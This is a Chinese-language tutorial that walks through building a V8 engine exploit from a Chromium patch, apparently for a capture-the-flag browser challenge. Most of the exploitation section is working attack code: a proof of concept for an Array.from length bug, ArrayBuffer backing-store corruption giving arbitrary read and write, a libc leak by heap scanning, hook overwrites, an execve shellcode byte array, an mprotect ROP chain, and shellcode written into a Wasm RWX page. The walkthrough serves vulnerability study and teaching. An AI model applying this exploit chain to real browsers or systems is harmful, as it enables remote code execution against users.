v8 engine exploit零基础入门

 

本文将教会读者,如何从一个零基础漏洞新手,学会从chromium的commit中获取diff和poc,最后写出一个v8的exploit。

预备知识V8基础

 

准备工作

进入题目给出的网站,能够找到漏洞修复的信息。

  • 1.上个版本的hash值,以及diff文件
  • 2.用于验证崩溃的poc文件

我们能够通过hash值来回溯到之前到版本。使用poc来验证崩溃,不过该漏洞仅有DEBUG版会对该poc发生崩溃。同时我们也可以查看diff,根据补丁分析漏洞。

4MjFie

v8环境搭建

#回溯版本到包含漏洞版本
$ git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
$ gclient sync
#分别编译Debug和Release版本
$ tools/dev/v8gen.py x64.debug 
$ ninja -C out.gn/x64.debug d8
$ tools/dev/v8gen.py x64.release
$ ninja -C out.gn/x64.release d8

diff

查看和parent版本的diff文件

WK1vPc

 

POC分析

let oobArray = [];                                //创建了一个oobArray数组对象
let maxSize = 1028 * 8;                        //8244            
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( //实现了一个迭代器
  {
    counter : 0,
    next() {
      let result = this.counter++;
      if (this.counter > maxSize) {
        oobArray.length = 0;                                            //在迭代器中将oobArray.length置零
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });
//%DebugPrint(oobArray);
//%SystemBreak();
oobArray[oobArray.length - 1] = 0x41414141;                //触发crash

poc分析需要一定的JS基础,我已经把自己整理的一些基础写在文章后面了,和我一样0基础的读者可以先去看一下

length置零

JSArray数组置零是poc的关键部分,让我们看一下JSArray的length置零的效果。

var a=['migraine','sudo'];
%DebugPrint(a);
a.length=0;
%DebugPrint(a);

置零之前

JSArray.length=2,用于存储数据的FixedArray长度也为2。

DebugPrint: 0x37fff628d4c1: [JSArray]
 - map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x111759e85539 <JSArray[0]>
 - elements: 0x37fff628d471 <FixedArray[2]> [PACKED_ELEMENTS (COW)]
 - length: 2                                                                                                          <--JSArray.length=2
 - properties: 0x3ab30b882251 <FixedArray[0]> {
    #length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x37fff628d471 <FixedArray[2]> {                                                <--FixedArray.length=2
           0: 0x111759ea7021 <String[8]: migraine>
           1: 0x111759ea7041 <String[4]: sudo>

置零之后

JSArray的长度被置0,而FixedArray的空间也被释放。

DebugPrint: 0x37fff628d4c1: [JSArray]
 - map: 0x3d9424202729 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x111759e85539 <JSArray[0]>
 - elements: 0x3ab30b882251 <FixedArray[0]> [PACKED_ELEMENTS]        <--FixedArray Released...
 - length: 0                                                                                                    <--JSArray.length=0
 - properties: 0x3ab30b882251 <FixedArray[0]> {
    #length: 0x3ab30b8cff89 <AccessorInfo> (const accessor descriptor)
 }

需要关注的点就是JSArray的length和FixedArray的length在正常操作下是保持同步的,而接下来的poc将打破这种同步关系

触发DCHECK而造成Crash

屏幕快照2020-02-16下午5.12.17123

WxcdyC

DECHECK检查index和this->length()的时候出现了一些问题,检查语句来自fixed-array-inl.h:96。

FixedArray::set中的this对象与oobArray的elements地址相符。但是这里的elememts指向的却是一个空数组。

我们注意到

  • 1.JSArray结构中的length=8224
  • 2.JSArray中的Elements和Property结构(分别指向FixedArray),却是一个空数组(length=0)

cWbkxi

执行FixedArray::set方法,就是向对象的某个index位置写入value,在poc对应的调用语句就是oobArray[oobArray.length – 1] = 0x41414141;

FixedArray对象的this->length()=0(因为this此时是指向Elements这个空数组),而index为8223(因为length=8224)。

产生一个越界写。在release版本下是没有DEBUG CHECK的,所以能够造成任意地址写。同理,使用读取函数也能造成越界读。

越界读取crash

PP1g0G

 

Patch分析

让我们来分析diff,找出导致JSArray的length值和实际存储空间不同的原因。根据上文中对poc的调试,应该是某个判读导致对JSArray的length值先被置零,而后却被改回原来的数据,产生一个越界读取。

源代码中代码包含很多CodeStubAssembler的内容。

CodeStubAssembler:为v8提供的高效的低级功能,非常接近汇编语言,同时保持platform-independent和可读性。定义在code-stub-assembler.h中。

这部分参考大神的总结

F_BUILTIN:创建一个函数
Label:声明将要用到的标签名,这些标签名将作为跳转的目标
BIND:绑定标签(相当于将一个代码块和一个标签名绑定,跳转时就可以使用标签名跳转到相应代码块)
Branch:条件跳转指令
VARIABLE:定义一些变量
Goto:跳转
CAST:类型转换
CALLJS:调用给定的JS函数

re7Sag

根据patch,推断GotoIf的判断出现了问题。Path将SmiLessThan改成了SmiNotEqual,只要两者不相同就会运行&runtime。所以我们判断,漏洞产生于当length_smi大于old_length的时候,并且没有发生Goto跳转的情况。

      TNode<Smi> length_smi = CAST(length);
      TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
            ...略
            // 3) If the created array already has a length greater than required,
      //    then use the runtime to set the property as that will insert holes
      //    into the excess elements and/or shrink the backing store.
      GotoIf(SmiLessThan(length_smi, old_length), &runtime);
      StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi); //将length_smi赋值给JSArray的Length

根据注释可以很容易地推断。

  • 1.运行&runtime会根据length_smi初始化property数组,也就是根据length_smi大小分配正确空间
  • 2.运行 StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi

如果length_smi小于old_length就会调用&runtime实现内存缩减,而如果length_smi等于oldlength就会调用StoreObjectFieldNoWriteBarrier会将JSArray的length修改为length_smi

但如果length_smi>old_length,那么就会导致JSArray.length比old_length实际存储,但是内存并没有被修改(对象FixedArray中的length不变),要大的情况,将会造成一个数组越界漏洞。

当然,漏洞产生的原因已经清楚了,但是我们对漏洞还存在疑问—为什么length_smi会大于old_length,以及这两个参数的本质所以需要回溯到上层代码。调用该函数的代码并不多,而我们poc中调用了Array.from,所以比较好找,不过这段代码是比较长的,需要耐心看和分析。

TeQk5L

2inbee

tMrZM5

这部分代码是Array.FromC++实现(要看js实现可以看polyfill),array.from的功能在下文中的JS基础中有介绍。在结尾调用了GenerateSetLength函数。

ArrayFrom实现
请仔细阅读下面的代码,否则你可能会一直困惑于poc的撰写方式。

// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) { 
  TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
  TNode<Int32T> argc =
      UncheckedCast<Int32T>(Parameter(BuiltinDescriptor::kArgumentsCount)); //获取输入参数

  CodeStubArguments args(this, ChangeInt32ToIntPtr(argc));                                    //将参数转化为指针

  TNode<Object> map_function = args.GetOptionalArgumentValue(1);

  // If map_function is not undefined, then ensure it's callable else throw.
  //判断输入的map_function是否可以执行//实际上这部分和我们的poc关系不大
  {
    Label no_error(this), error(this);
    GotoIf(IsUndefined(map_function), &no_error);                                                    //判断是否Undefined
    GotoIf(TaggedIsSmi(map_function), &error);                                                        //判断是否是Smi
    Branch(IsCallable(map_function), &no_error, &error);                                    //判断是否Callable

    BIND(&error);                //如果跳转到error,会运行这里
    ThrowTypeError(context, MessageTemplate::kCalledNonCallable, map_function);

    BIND(&no_error);        //如果跳转no error,就会从这里开始运行
  }

  Label iterable(this), not_iterable(this), finished(this), if_exception(this);//设置标签

  TNode<Object> this_arg = args.GetOptionalArgumentValue(2);                    //获取Object的参数
  TNode<Object> items = args.GetOptionalArgumentValue(0);                            //获取我们的ArrayLike
  // The spec doesn't require ToObject to be called directly on the iterable
  // branch, but it's part of GetMethod that is in the spec.
  TNode<JSReceiver> array_like = ToObject(context, items);                        //将ArrayLike转化为对象

  TVARIABLE(Object, array);
  TVARIABLE(Number, length);                                                                                    //定义Number变量,值为length

  // Determine whether items[Symbol.iterator] is defined:
  //确认items的迭代器是否被定义(Array类型包含Symbol.iteractor迭代器)
  IteratorBuiltinsAssembler iterator_assembler(state());
  Node* iterator_method =
      iterator_assembler.GetIteratorMethod(context, array_like);   //从array_like中获取迭代器
  Branch(IsNullOrUndefined(iterator_method), &not_iterable, &iterable);//分支,可迭代和不可迭代

  //可迭代的情况运行此处代码
  BIND(&iterable);
  {
    TVARIABLE(Number, index, SmiConstant(0));
    TVARIABLE(Object, var_exception);
    Label loop(this, &index), loop_done(this),
        on_exception(this, Label::kDeferred),
        index_overflow(this, Label::kDeferred);

    // Check that the method is callable.
    //检测迭代器是否可用
    {
      Label get_method_not_callable(this, Label::kDeferred), next(this);
      GotoIf(TaggedIsSmi(iterator_method), &get_method_not_callable);
      GotoIfNot(IsCallable(iterator_method), &get_method_not_callable);
      Goto(&next);//可用则跳转到next

      BIND(&get_method_not_callable);
      ThrowTypeError(context, MessageTemplate::kCalledNonCallable,
                     iterator_method);

      BIND(&next); 
    }

    // Construct the output array with empty length.
    array = ConstructArrayLike(context, args.GetReceiver());

    // Actually get the iterator and throw if the iterator method does not yield
    // one.
    IteratorRecord iterator_record =
        iterator_assembler.GetIterator(context, items, iterator_method);

    TNode<Context> native_context = LoadNativeContext(context);
    TNode<Object> fast_iterator_result_map =
        LoadContextElement(native_context, Context::ITERATOR_RESULT_MAP_INDEX);

    Goto(&loop);

        //进入迭代循环,循环到迭代器运行结束(这个时候结合我们poc里的迭代器,理解漏洞)
    BIND(&loop);
    {
      // Loop while iterator is not done.
      TNode<Object> next = CAST(iterator_assembler.IteratorStep(
          context, iterator_record, &loop_done, fast_iterator_result_map));
      TVARIABLE(Object, value,
                CAST(iterator_assembler.IteratorValue(
                    context, next, fast_iterator_result_map))); //获取迭代器返回的值

      // If a map_function is supplied then call it (using this_arg as
      // receiver), on the value returned from the iterator. Exceptions are
      // caught so the iterator can be closed.
      {
        Label next(this);
        GotoIf(IsUndefined(map_function), &next);

        CSA_ASSERT(this, IsCallable(map_function));
        Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
                         this_arg, value.value(), index.value());
        GotoIfException(v, &on_exception, &var_exception);
        value = CAST(v);
        Goto(&next);
        BIND(&next);
      }

      // Store the result in the output object (catching any exceptions so the
      // iterator can be closed).
      Node* define_status =
          CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                      index.value(), value.value());
      GotoIfException(define_status, &on_exception, &var_exception);

      index = NumberInc(index.value());  //获取index的值

      // The spec requires that we throw an exception if index reaches 2^53-1,
      // but an empty loop would take >100 days to do this many iterations. To
      // actually run for that long would require an iterator that never set
      // done to true and a target array which somehow never ran out of memory,
      // e.g. a proxy that discarded the values. Ignoring this case just means
      // we would repeatedly call CreateDataProperty with index = 2^53.
      CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) {
        BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
                                           NumberConstant(kMaxSafeInteger), ok,
                                           not_ok);
      });
      Goto(&loop);
    }

    BIND(&loop_done);
    {
      length = index;                        //将index赋值给length(index在poc中应该为8224)
      Goto(&finished);                    //跳转到finished代码
    }

    BIND(&on_exception);
    {
      // Close the iterator, rethrowing either the passed exception or
      // exceptions thrown during the close.
      iterator_assembler.IteratorCloseOnException(context, iterator_record,
                                                  &var_exception);
    }
  }

  // Since there's no iterator, items cannot be a Fast JS Array.
  BIND(&not_iterable);
  {
    CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));

    // Treat array_like as an array and try to get its length.
    length = ToLength_Inline(
        context, GetProperty(context, array_like, factory()->length_string()));

    // Construct an array using the receiver as constructor with the same length
    // as the input array.
    array = ConstructArrayLike(context, args.GetReceiver(), length.value());

    TVARIABLE(Number, index, SmiConstant(0));

    GotoIf(SmiEqual(length.value(), SmiConstant(0)), &finished);

    // Loop from 0 to length-1.
    {
      Label loop(this, &index);
      Goto(&loop);
      BIND(&loop);
      TVARIABLE(Object, value);

      value = GetProperty(context, array_like, index.value());

      // If a map_function is supplied then call it (using this_arg as
      // receiver), on the value retrieved from the array.
      {
        Label next(this);
        GotoIf(IsUndefined(map_function), &next);

        CSA_ASSERT(this, IsCallable(map_function));
        value = CAST(CallJS(CodeFactory::Call(isolate()), context, map_function,
                            this_arg, value.value(), index.value()));
        Goto(&next);
        BIND(&next);
      }

      // Store the result in the output object.
      CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
                  index.value(), value.value());
      index = NumberInc(index.value());
      BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(),
                                         length.value(), &loop, &finished);
    }
  }

  BIND(&finished); //finished入口

  // Finally set the length on the output and return it.
  GenerateSetLength(context, array.value(), length.value()); //调用我们的漏洞函数,将length输入
  args.PopAndReturn(array.value());
}

总结ArrayFrom的大概流程,为了方便省略了call部分,我们只需要知道我们对数组的操作都做用于oobArray即可。

baKf21

这时候再分析poc就很清楚,关键点是每一次迭代都会调用oobArray.length = 0;,所以导致输入数组的array.length(数组长度)<length(迭代次数)。然后调用StoreObjectFieldNoWriteBarrier产生越界。

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
                                     length_smi); //将length_smi赋值给JSArray的Length

此处便是将length_smi(迭代次数),传递给了JSArray的length,上层函数中JSArray就是我们的oobArray对象,length_smi则是oobArray内部的FixedArray(Element)迭代时累加的产物。

漏洞产生的原因主要是因为开发者没有考虑到,传入的ArrayLike也可以是真的数组(oobArray),而真实的数组的length是可以改变的。从而使得获取到的Array的对象(因为被我们置零了)实际长度是小于迭代次数。即产生了oobArray.length要大于Elements的数组空间的现象。

Patch方式我们也都看到了,只需要将大于的情况也调用&runtime创建空间即可。

 

漏洞利用

内存模型

首先需要理解V8的一部分内存模型,这部分可以参考我在V8基础里的介绍。

关键字:JSFunction和ArrayBuffer

实现OOB r&w

从越界读写到oob read&write,需要借助ArrayBuffer对象。通过oobArray的数组越界,覆盖ArrayBuffer的Backing Store,实现任意地址读写。

我们需要在GC堆中布置一定数量的ArrayBuffer结构,希望至少其中某个能oobArray的越界写入范围。

类型转换

读写操作时,需要进行类型转换。Float – Uint

我们的oobArray=[1.1],读写都是Float类型的,所以需要做个类型转换。而且64位下只有Uint32Array,只能读取32bit的数据。我们利用Float64Array进行读取,然后转化为两个Uint32Array。

/*l类型转换类*/
class ChangeType{
    constructor(){                             //构造函数
        this.buf=new ArrayBuffer(8);
        this.f64=new Float64Array(this.buf);
        this.u32=new Uint32Array(this.buf);
    }
    f2i(val){                                    //将两个Uint32转化为一个Float64
        this.f64[0]=val;
        return this.u32[1]*0x100000000+this.u32[0];
    }
    i2f(val){                                    //将一个Float64转化为两个Uint32
        this.u32[0]=parseInt(val%0x100000000);
        this.u32[1]=parseInt((val-this.u32[0])/0x100000000);
        return this.f64[0];
    }

}
function hex(x)                                //打印16进制
{
   return '0x' + (x.toString(16)).padStart(16, 0);
}
var ct=new ChangeType();

寻找ArrayBuffer对象

我们在迭代器中布置100个ArrayBuffer对象,将对象存入进一个arrays。经过GC回收内存后,这些对象会被GC移动到原oobArray内存(已被释放),就可以通过oobArray对ArrayBuffer进行修改。

在找到可控的ArrayBuffer对象之后,我们可以通过修改ArrayBuffer的length值,然后重新遍历存放ArrayBuffer的数组,确定具体可控对象,然后实现oob read&write。

let oobArray = [1.1];  //让oobArray为float类型 方便之后的读取写入
let arrays=[];                                
let maxSize = 1028 * 8;                        //8224    
var a;        
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 
  {
    counter : 0,
    next() {
      let result = 1.1;
    this.counter++;
      if (this.counter > maxSize) {         
     oobArray.length=1;    // lenght!=0 避免GC彻底回收,Element会被指向一个空指针,不在原来的地址范围。
    /*布置ArrayBuffer对象*/
  for(let i=0;i<100;i++)
    {
        //let array=new ArrayBuffer(0xbeef); 
        et array=new ArrayBuffer(0x512); //创建length=0xbeef的ArrayBuffer
        arrays.push(array);        //将BufferArray放入数组(疑问:数组会对GC的回收有什么影响?)
        //%DebugPrint(array);    //Debug用
    }        
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });

/*寻找和确定ArrayBuffer对象*/
let backing_store;
let kbitfield;
let buf_index;
for(let i=0;i<=maxSize;i++){let x=oobArray[i]}; //GC
/*找到oobArry可控的ArrayBuffer*/
for(let i=0;i<maxSize;i++)
{
    let val=ct.f2i(oobArray[i]);
    //if(val===0xbeef00000000)
  if(val===0x51200000000)
    {
        backing_store=i+1;
        kbitfield=backing_store+1;
        console.log("[*]find target ArrayBuffer in oobArray number ["+i+"]");
        oobArray[i]=ct.i2f(0xbeaf00000000); //修改length值
        break;
    }
}
/*确定我们可控ArrayBuffer的ID*/
for(let i=0;i<100;i++)
{
    //console.log(arrays[i].bytelength);
    if(arrays[i].byteLength===0xbeaf){
           console.log("[*]find target ArrayBuffer number ["+i+"]");
        buf_index=i;    
    }    
}

一个困扰我很长时间的小问题

在release下使用%DebugPrint(array)时,似乎会发生一些奇怪的事情。这是打印出来的效果。

jnG9k4

所有的ArrayBuffer的地址都在一起,查看里面的内存,他们的确拥有一个ArrayBuffer的完整结构,这些所谓的ArrayBuffer的地址都比较高(不管笔者以什么方式创建ArrayBuffer),以至于永远在我们数组越界的范围之外。这样就会导致无法利用。

刚开始笔者猜测是否是因为oobArray的CHUNK没有被GC回收走。

cHWxpF

查看内存,刚开始并没有发生什么异样,符合ArrayBuffer的结构。但是仔细看过之后发现ArrayBuffer本该存折Map指针的地方和Map的值并不匹配。不过周围其他值似乎都很正常(length,backing store之类的)我们对这个指针进行解引用。

XVs8FJ

实际上这个经过第二次解引用的指针才是正确的内存,此时的MAP部分已经和%DebugPrint的结构相一致,其他部分也都是完整的。而我们为了找到ArrayBuffer,进行了两次解引用。

为什么要多一次解引用呢?

应该是与自动回收机制(GC)有关。笔者猜测,可能是之前的内存被释放(oobArray),然后GC将刚才ArrayBuffer从原来的地方Copy走了,统一移动到这块块刚被释放到内存中。这也解释了为什么ArrayBuffer的地址一开始都在oobArray读取的范围外,因为当时GC还没将这块内存释放。(简单来说就是GC把ArrayBuffer带走了,在原地址处留了一个指针,然而我一直不知道那是指针。。浪费了我超久的时间)具体原因还需要看研究一下GC的实现方式,未来再填坑。

实验过程中还发现,如果没有使用arrays数组将ArrayBuffer写入,ArrayBuffer的地址并不会被GC改变。这部分目前还搞不明白,只能看大神们写的exploit。


实现任意地址读写

这部分和之前的oobArray读写差不多,直接上代码。

注意点:需要同时修改Backing Store和kBitField Offset,这两个相邻变量的值是相同的,经过调试发现同时修改才有效。。

class ArbitraryRW
{
    read(addr){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        this.f64=new Float64Array(arrays[buf_index],0,2);
        return ct.f2i(this.f64[0]);
    }
    write(addr,value){
        oobArray[backing_store]=ct.i2f(addr);
        oobArray[kbitfield]=ct.i2f(addr);
        this.f64=new Float64Array(arrays[buf_index],0,2);
        this.f64[0]=ct.i2f(value);
    }
    leak(){ //泄露backing store指针
        return ct.f2i(oobArray[backing_store]);
    }
}
var wr=new ArbitraryRW();

how2GetShell

大概把下面三种方式都实验一下

  • 1.泄露libc
  • 2.Wasm
  • 3.JIT(因为没有W权限,所以只是尝试一下找到JIT)

泄露libc

泄露堆中包含指向unosort bin的指针,Hpasserby师傅认为在fd或者bk的位置上,0x7f开头的值一定指向&main_arena+88的地址,这样只需要减去偏移地址就能获得libc的地址。unsortbin泄露地址

backingstore一开始的指针指向的就是堆内存,我们可以通过对堆内存进行搜索,来泄露unsoirtbin的指针。

实际测试中循环读数据太多次ArrayBuffer对象的地址会跑飞(具体原因未知,可能又被GC挪走了),所以循环次数要控制,不能全部地址都遍历。

//刚开始的可控ArrayBuffer地址
gdb-peda$ x/20xg 0x24903d38e5a9-1
0x24903d38e5a8:    0x00003be96c383fe9    0x000033bd5ef82251
0x24903d38e5b8:    0x000033bd5ef82251    0x0000beaf00000000
0x24903d38e5c8:    0x00005555561b9840    0x00005555561b9840
//反复read之后的ArrayBuffer地址
gdb-peda$ x/20xg 0x35c638b8e7a9-1
0x35c638b8e7a8:    0x000024903d38e5a8    0x000033bd5ef82251
0x35c638b8e7b8:    0x000033bd5ef82251    0x0000beaf00000000
0x35c638b8e7c8:    0x00005555561b9840    0x00005555561b9840

我使用的是Hpasserby师傅提出方法,直接暴力搜索堆,通过size/presize来匹配chunk,找到fd/bk是地址为0x7f开头为止。然后减去偏移即可。

用这种方式,比较容易出问题的部分在于ArrayBuffer的大小,太大和太小都会导致heap中不存在unsortbin(错误案例0xbeaf和0x20),毕竟v8的HEAP似乎没有那么被“中用”。所以我这里要修改前面的代码,改用0x512作为ArrayBuffer的长度。筛选时注意条件(见注释)。

/*泄露libc地址*/

let heap=wr.leak()-0x10;    
chunk=heap;                            //以backing store指针-0x10作为初始化chunk
console.log("[*]leak backing store address="+hex(heap));

let size=wr.read(chunk+8);
size=parseInt(size/8)*8;
let finded=0;
//循环以chunk为单位遍历
for(let i=0;i<0x3000;i++)
{
    //let leak=wr.read(heap);
    prev_size=wr.read(chunk);
    size=wr.read(chunk+8);

  //筛选条件:
  //size!==0,必须为chunk结构
  //size%2===0,上一个chunk必须被free(prev inuse=0)
  //prev_size <=0x3f0 
    if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0) 
    {
    let tmp_ptr=chunk-prev_size;
        //%SystemBreak() 
        fd=wr.read(tmp_ptr+0x10);
        bk=wr.read(tmp_ptr+0x18);
        //console.log(hex(chunk)+"->"+hex(prev_size));
    if(parseInt(fd/0x10000000000)===0x7f)
    {
        console.log("[*]leak unsort bin(fd)");
        finded=fd;
        break;    
    }
    if(parseInt(bk/0x10000000000)===0x7f)
    {
        console.log("[*]leak unsort bin(bk)");
        console.log(hex(bk));
        break;    
    }
    }
    else if(size<0x20){break;}

    size=parseInt(size/8)*8;  //size要抹掉最后的3bit
    chunk+=size;
}
if(finded!==0)
{    
    libc_base=finded-0x3c3bb8;
    console.log("libc_base="+hex(libc_base));
}
else{
    console.log("Error when leak libc base!Try Again.");
}

如果是pwn题,修改malloc_hook为one_gadget就很简单了,可以弹个本地shell(并没有实际作用。。)。这可是浏览器题,至少也要执行一下shellcode,弹个计算器吧。

/*malloc_hook*/
malloc_hook=0x3C3B10+libc_base;
one_gadget=0xf0897+libc_base;
wr.write(malloc_hook,one_gadget);

发现一种用system弹calculator的方式,将free_hook替换为system,这样在释放binsh的时候就会执行system(“/snap/bin/gnome-calculator)。Mark一下,不过这个也是pwn类型的利用。

wr.write(libc_base + 0x3C57A8, libc_base + 0x45380); // free hook

const binsh = new Uint32Array(new ArrayBuffer(0x30));
cmd = [1634628399, 1768042352, 1852256110, 761621871, 1668047203, 1952541813, 29295];
// "/snap/bin/gnome-calculator"
for (var i = 0; i < cmd.length; i++)
    binsh[i] = cmd[i];

<br>

一开始想看看能不能用Heap Spary+ROP来执行shellcode,v8的HeapSpray我一直找不到合适的喷射值,就暂时放一放。还是参考大师傅们的利用手法,在栈中写值来控制EIP。

布置shellcode和ROP

首先需要为ArbitraryRW增加一个leak功能,相当于实现了一个%DebugPrint。这样就能泄漏shellcode的地址。需要添加的代码如下。

let oobArray = [1.1];  //float
let arrays=[];    
+let objs=[];        //for leak                            
let maxSize = 1028 * 8;    
                    //8224    
var a;        
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 
  {
    counter : 0,
    next() {
      let result = 1.1;
    this.counter++;
      if (this.counter > maxSize) {         
     oobArray.length=1;    // !=0 void from be huishou by GC,Elements will point to a null pointer
    for(let i=0;i<100;i++)
    {
        let array=new ArrayBuffer(0x512);
+        let obj={'a':0x1234,'b':0x5678};
        arrays.push(array);
+        objs.push(obj);
        //%DebugPrint(array);    
    }        
        return {done: true};
      } else {
        return {value: result, done: false};
      }
    }
  }
) });

+let obj_index;
+let obj_offset;
+//find Objects

+for(let i=0;i<maxSize;i++)
+{
+    let val=ct.f2i(oobArray[i]);
+    if(val===0x123400000000)
+    {
+        obj_offset=i;
+        console.log("[*]find target objecets in oobArray number ["+i+"]");
+        oobArray[i]=ct.i2f(0x123500000000);
+        break;
+    }
+}

+for(let i=0;i<100;i++)
+{    
+    if(objs[i].a===0x1235){
+           console.log("[*]find target objs number ["+i+"]");
+        obj_index=i;
+        break;
+    }    
+}

制造一个可控对象obj,在通过oobArray泄露obj的属性a。要leak一个对象的地址,只需要将对象绑定到obj的a属性,然后oobArray泄露地址即可。

class ArbitraryRW
{
+    leak_obj(obj){
+        objs[obj_index].a = obj;        
+        return ct.f2i(oobArray[obj_offset]) - 1;
+    }
    ...
}

然后我们就可以布置Shellcode和ROP链,通过ROP来调用mprotect将shellcode所在地址空间的属性改为RWX。至于如何控制程序流,就这个技巧之前也没接触过,就是向栈中写retn,希望在程序退栈的时候能踩到上面,然后一路retn到我们布置在高位的rop链。一开始想多覆盖一些retn,不过程序直接崩了,覆盖少量的反而成功率更高。

Stack的地址,我们可以通过libc中的全局变量environ来获得stack的一个高位指针。

$ readelf -r ~/libc.so.6 |grep environ
0000003c2df8  011b00000006 R_X86_64_GLOB_DAT 00000000003c5f98 _environ@@GLIBC_2.2.5 + 0
0000003c2eb8  051100000006 R_X86_64_GLOB_DAT 00000000003c5f98 __environ@@GLIBC_2.2.5 + 0

代码如下

//PUSH SHELLCODE
let shellcode=new Uint8Array(4096);
let shellcode_addr=wr.leak_obj(shellcode);

ptr=wr.read(shellcode_addr+0x18)-1;        //获取shellcode地址
shellcode_addr=wr.read(ptr+0x20);            //TypeArray --> ArrayBuffer
console.log(hex(shellcode_addr));
let sc=[0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];  //弹出一个计算器
for(let i=0;i<sc.length;i++){
    shellcode[i]=sc[i];
}

//ROP
let pop_rdi=0x21102+libc_base;
let pop_rsi=0x202e8+libc_base;
let pop_rdx=0x01b92+libc_base;
let retn=0xe9bbb+libc_base;
let mprotect=0x100eb0+libc_base;
let rop=[
pop_rdi,
parseInt(shellcode_addr/0x1000)*0x1000,
pop_rsi,
1024,
pop_rdx,
7,
mprotect,
shellcode_addr
]

//GET STACK_ADDR
let environ_addr=libc_base+0x3c5f98;
let stack_addr=wr.read(environ_addr);
console.log("[*]stack address "+hex(stack_addr));

let rop_addr=stack_addr-200*rop.length;
console.log("[*]rop address "+hex(rop_addr))
for(let i=0;i<rop.length;i++)
{
    wr.write(rop_addr+i*8,rop[i]);
}
for(let i=1;i<100;i++)        //过多的覆盖反而会导致段错误,10~100都可以
{
    wr.write(rop_addr-i*8,retn);
}

完整的利用见附录。

5ufCKv

写利用的时候碰到了很多看似玄学的东西,困扰了很久,为了彻底搞懂花费了不少时间。虽然最很多自己想出的解决方案也都没什么营养,但最终把问题搞明白也是一个非常煎熬也是非常有意思的过程。比如在泄漏libc地址的时候,成功泄漏了main_arena+152的地址,但是后来去内存里了一看,fd的位置的值是0x0。查了好几遍都没找到,实在是很玄学,直到我在泄露前下了一个断点,发现泄露当时这个fd是存在的,只不过后来又被malloc掉了。毕竟我们利用js泄露地址时,并没有控制EIP,所以背后的程序还是在跑,堆空间也总是在变化。

Wasm执行shellcode

Wasm是一种可以让JS执行机器码的技术,我们可以借助Wasm来写入自己的shellcode。

要生成Wasm,最方便的方案是直接用大神写好的生成网站,可以将我们的C语言生成为调用Wasm的JS代码。

https://wasdk.github.io/WasmFiddle/

kWYsBe

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());

将网站底部生成的wasmCode和右上角的JS代码结合,就能运行C编译出的字节码。当然这个C并不能进行系统调用,所以直接用C写shellcode自然是不行的。不过我们可以通过自己的任意地址写,将自己的shellcode写入Wasm的RWX内存区域(但是并不是Wasm的AST,具体的我也不是特别了解)。

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f=wasmInstance.exports.main;

%DebugPrint(f);
let asm_addr=wr.leak_obj(f);
console.log("[*]address of asm = "+hex(asm_addr));
let sharedInfo =wr.read(asm_addr+0x18)-1;
let functionData=wr.read(sharedInfo+0x8)-1;
let instanceAddr=parseInt(wr.read(functionData+0x70)/0x10000);
console.log("functionData addresss ="+hex(functionData));
console.log("[*] RWX address ="+hex(instanceAddr));

通过leak_obj函数将WASM的地址泄露,然后通过WASM的结构(在release下)一步步将RWX空间读取出来。需要注意的是根据不同版本的v8,数据结构可能不同 ,所以需要更具实际调试结果为准。此处的结构如下

wasmInstance.exports.main f->shared_info->code+0x70

nU6RUE

ldz5he

获取RWX地址,直接将shellcode写进去就行了。之后只需要调用这个WASM函数就可以执行我们的shellcode。

